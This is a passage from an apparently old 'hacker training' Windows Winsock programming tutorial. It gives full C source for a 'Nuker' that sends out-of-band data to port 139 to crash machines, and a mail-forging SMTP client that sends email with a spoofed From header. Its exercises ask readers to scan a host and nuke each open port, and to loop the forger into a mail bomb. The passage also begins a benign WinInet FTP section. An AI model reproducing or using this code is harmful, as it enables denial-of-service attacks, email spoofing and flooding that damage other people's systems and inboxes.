windows internet programming part1.html

黑客培训教程

      if (message == WM_DESTROY)
      	PostQuitMessage(0);

      return DefWindowProc(hwnd, message, wParam, lParam);
}


/* <---- SOURCE CODE ENDS HERE ----> */



Unlike the previous programs this one runs the winsock code as soon as we start it. We have 2 functions,

1. CheckPortUDP      -  Check if UDP port is open.
2. CheckPortTCP       -  Check if TCP port is open.

These functions try to connect to the port that we pass to them in the WinMain function and if these ports
are busy we get returned Busy otherwise we dont get returned Busy, its as easy as that!
If we wanted we could add more code that checks more ports, port checking could do more than just tell us
if a server is running (which is very useful on its own!) it could also tell us if a trojan is running
on a remote computer or our own for that matter :).


6.3 Nuker
=======================================


/* <---- PLEASE READ DISCLAIMER  ----> */
/* <---- SOURCE CODE STARTS HERE ----> */


#include <windows.h>
#include <stdio.h>

 
    WSADATA        wsdata;
    SOCKET         sock; 
    DWORD          wsock;
    char      	*str;
    struct         sockaddr_in Sa;



LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)

{
      static TCHAR szAppName[] = TEXT("Interface");

      HWND      	hwnd;
      MSG      	msg;
      WNDCLASS    wndclass;

      wndclass.style      	= CS_HREDRAW | CS_VREDRAW;
      wndclass.lpfnWndProc    = recall;
      wndclass.cbClsExtra     = 0;
      wndclass.cbWndExtra     = 0;
      wndclass.hInstance      = hInstance;
      wndclass.hIcon      	= LoadIcon (NULL, IDI_APPLICATION);
      wndclass.hCursor      	= LoadCursor (NULL, IDC_ARROW);
      wndclass.hbrBackground  = (HBRUSH) GetStockObject (WHITE_BRUSH);
      wndclass.lpszMenuName   = NULL;
      wndclass.lpszClassName  = "Interface";
      
      RegisterClass (&wndclass);

      hwnd = CreateWindow (szAppName,      	// Windows Class Name
      	      	 "Interface",      	// Windows Caption
      	      	 WS_OVERLAPPEDWINDOW,   // Windows Style
      	      	 CW_USEDEFAULT,      	// initial x position
      	      	 CW_USEDEFAULT,      	// initial y position
      	      	 200,      	      	// initial x size
      	      	 200,      	      	// initial y size
      	      	 0,      	      	// parent window handle
      	      	 0,      	      	// parent menu handle
      	      	 hInstance,      	      // program instance handle
      	      	 0);      	      	// creation parameters

      ShowWindow(hwnd, iCmdShow);

      while (GetMessage (&msg, NULL, 0, 0))
      {
      	DispatchMessage  (&msg);
      }
      return 1;

}


LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
      if (message == WM_LBUTTONDOWN)
      {
      wsock = WSAStartup(0x0101,&wsdata);

      sock = socket(PF_INET,SOCK_STREAM,0);

      Sa.sin_family = AF_INET;
      Sa.sin_addr.s_addr = inet_addr("127.0.0.1");
      Sa.sin_port = htons(139);

      wsock = connect(sock,(struct sockaddr *)&Sa,sizeof(Sa));

      str = "Hello World!";

      send(sock,str,strlen(str),MSG_OOB);

      MessageBox(0,"Nuke Sent","Nuked",0);
      WSACleanup();

      }

      if (message == WM_DESTROY)
      	PostQuitMessage(0);

      return DefWindowProc(hwnd, message, wParam, lParam);
}


/* <---- SOURCE CODE ENDS HERE ----> */


This is the infamous (infamously lame) Nuke program. Port 139 is standard listening port for windows,
Nuke merely sends OOB (Out Of Bound) data to this port which on some operating systems results in a crash.
Many FTP servers and other such services are subceptible to a good nuking, all you do is change the port 
value to the service you wish to crash.

For more information on Nuke and DoS attacks consult blacksun.box.sk.


[ EXERCISES ]

Write a program which first takes a hostname of a computer and returns the IP address, 
checks for open ports on the host, and nukes each port in turn.


________________________________________________________________________________________________________


7.0 E-MAIL - SMTP
=======================================

E-Mail is a very useful service and has made snail mail pointless (id rather get an internet mail bomb than
a snail mail one!)

E-mail is made up of two protocols

1. SMTP      	-  For sending mail.
2. POP3      	-  For recieving mail.


Since this is a basics tutorial we will only cover SMTP for the moment but that don't mean that we can't
make it a bit more interesting...

Any-1 thats familiar with SMTP can tell you its inherent flaws (after all bsrf's tutorial is smtp - the 
buggiest protocol..  or something like that).

Most importantly of all it is possible to send mail from your e-mail account without giving a username or
password, or read some-1 else's mail for that matter..



/* <---- SOURCE CODE STARTS HERE ----> */

#include <windows.h>
#include <stdio.h>


    WSADATA         wsdata;
    SOCKET          sock;
    DWORD           wsock;
      
    struct          hostent *H;
    char            output[100];
    int      	  cnnct;
    char            str[10000];
    struct          sockaddr_in Sa;


LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
      	static TCHAR szAppName[] = TEXT("Interface");


      HWND      	hwnd;
      MSG      	msg;
      WNDCLASS      wndclass;

      wndclass.style      	      = CS_HREDRAW | CS_VREDRAW;
      wndclass.lpfnWndProc      	= recall;
      wndclass.cbClsExtra      	= 0;
      wndclass.cbWndExtra      	= 0;
      wndclass.hInstance      	= hInstance;
      wndclass.hIcon      	      = LoadIcon (NULL, IDI_APPLICATION);
      wndclass.hCursor      	      = LoadCursor (NULL, IDC_ARROW);
      wndclass.hbrBackground      	= (HBRUSH) GetStockObject (WHITE_BRUSH);
      wndclass.lpszMenuName      	= NULL;
      wndclass.lpszClassName      	= "Interface";
      
      RegisterClass (&wndclass);

      hwnd = CreateWindow (szAppName,      	// Windows Class Name
      	      	 "Interface",      	// Windows Caption
      	      	 WS_OVERLAPPEDWINDOW,   // Windows Style
      	      	 CW_USEDEFAULT,      	// initial x position
      	      	 CW_USEDEFAULT,      	// initial y position
      	      	 200,      	      	// initial x size
      	      	 200,      	      	// initial y size
      	      	 0,      	      	// parent window handle
      	      	 0,      	      	// parent menu handle
      	      	 hInstance,      	      // program instance handle
      	      	 0);      	      	// creation parameters


      ShowWindow(hwnd, iCmdShow);


      while (GetMessage (&msg, NULL, 0, 0))
      {
      	DispatchMessage  (&msg);
      }
      return 1;
}



LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
      if (message == WM_LBUTTONDOWN)
    {
      
  WSAStartup (0x101, &wsdata);
  
  sock = socket(AF_INET, SOCK_STREAM,0);

  H = gethostbyname("mail.newbie.net");

  Sa.sin_family           = AF_INET;
  Sa.sin_port           = htons(25);
  Sa.sin_addr.s_addr       = *((unsigned long *) H->h_addr);

  cnnct = connect(sock,(struct sockaddr *) &Sa,sizeof(Sa));
  
  cnnct = recv(sock,str,10000,0);

  sprintf(output,"recv %d str %s",cnnct,str);


  strset(output,' ');
  strcpy(str,"HELO newbie.net\r\n");
  
  cnnct = send(sock,str,strlen(str),0);
  
  cnnct = recv(sock,str,10000,0);

  sprintf(output,"recv %d str %s",cnnct,str);


  strset(output,' ');
  
  strcpy(str,"MAIL FROM:<[e-mail]>\r\n");
  cnnct = send(sock,str,strlen(str),0);
  
  cnnct = recv(sock,str,10000,0);

  sprintf(output,"recv %d str %s",cnnct,str);


  strset(output,' ');
  
  strcpy(str,"RCPT  TO:<[e-mail]>\r\n");
  cnnct = send(sock,str,strlen(str),0);
  
  cnnct = recv(sock,str,10000,0);

  sprintf(output,"recv %d str %s",cnnct,str);


  strset(output,' ');
  
  strcpy(str,"DATA\r\n");
  cnnct = send(sock,str,strlen(str),0);
  
  cnnct = recv(sock,str,10000,0);

  sprintf(output,"recv %d str %s",cnnct,str);


  strset(output,' ');  
  
  strcpy(str,"TO: Ian Cosgrove\r\n");
  cnnct = send(sock,str,strlen(str),0);
  
  strcpy(str,"FROM: Mail Forger.in\r\n");
  cnnct = send(sock,str,strlen(str),0);
  
  strcpy(str,"DATE: 22 May 01 16:17 GMT\r\n");
  cnnct = send(sock,str,strlen(str),0);
  
  strcpy(str,"MESSAGE_ID: <123456789>\r\n");
  cnnct = send(sock,str,strlen(str),0);
  
  strcpy(str,"Hello World!\r\n");
  cnnct = send(sock,str,strlen(str),0);
  
  strcpy(str,"From The Mail Forge Program\r\n");
  cnnct = send(sock,str,strlen(str),0);
  
  strcpy(str,".\r\n");
  cnnct = send(sock,str,strlen(str),0);
  
  cnnct = recv(sock,str,10000,0);

  sprintf(output,"recv %d str %s",cnnct,str);


  strset(output,' ');
  
  strcpy(str,"QUIT\r\n");
  cnnct = send(sock,str,strlen(str),0);
  
  cnnct = recv(sock,str,10000,0);

  sprintf(output,"recv %d str %s",cnnct,str);

  WSACleanup();
  
}


      if (message == WM_DESTROY)
      	PostQuitMessage(0);

      return DefWindowProc(hwnd, message, wParam, lParam);
}



/* <---- SOURCE CODE ENDS HERE ----> */


This program sends a series of commands at the SMTP server, if you are not familiar with the smtp
protocol theres a good tutorial at the blacksun website which covers all of these commands and
the basic idea behind this program.

The result of this program is that an e-mail is sent to my e-mail address ([e-mail]),
from [e-mail].

The resulting e-mail would look like the following:

---------------------------
---------------------------
TO:   Ian Cosgrove
FROM: Mail Forger
DATE: 22 May 01 16:17 GMT

MESSAGE_ID: <123456789>

Hello World!
From The Mail Forge Program
---------------------------
---------------------------


And thats the SMTP program, replace my e-mail address with any-1 that you want and the address,
[e-mail] with anything, like [e-mail], and the e-mail will be sent.



[ EXERCISES ]

Add a loop in the program so that it repeatedly sends e-mails to the same address...

something like,

for (i = 1; i<= 500 ; z++)
{
...
}

________________________________________________________________________________________________________

* NOTE -  This method is known as mail bombing.

________________________________________________________________________________________________________


8.0 WinInet - FTP
=======================================


So far we have been using the Winsock for all of our programming, but there is another option in windows
and its known as WinInet. WinInet is a collection of high level functions and deals with 3 main protocols;
HTTP, FTP and Gopher. WinInet functions closely resemble windows file functions. For an example of using
the WinInet API we are going to make an FTP client.

FTP isn't very widely used anymore or if it is its used in the background of an application, like for 
downloading files from an FTP server in Internet Explorer. To the user when Internet Explorer begins 
downloading a file from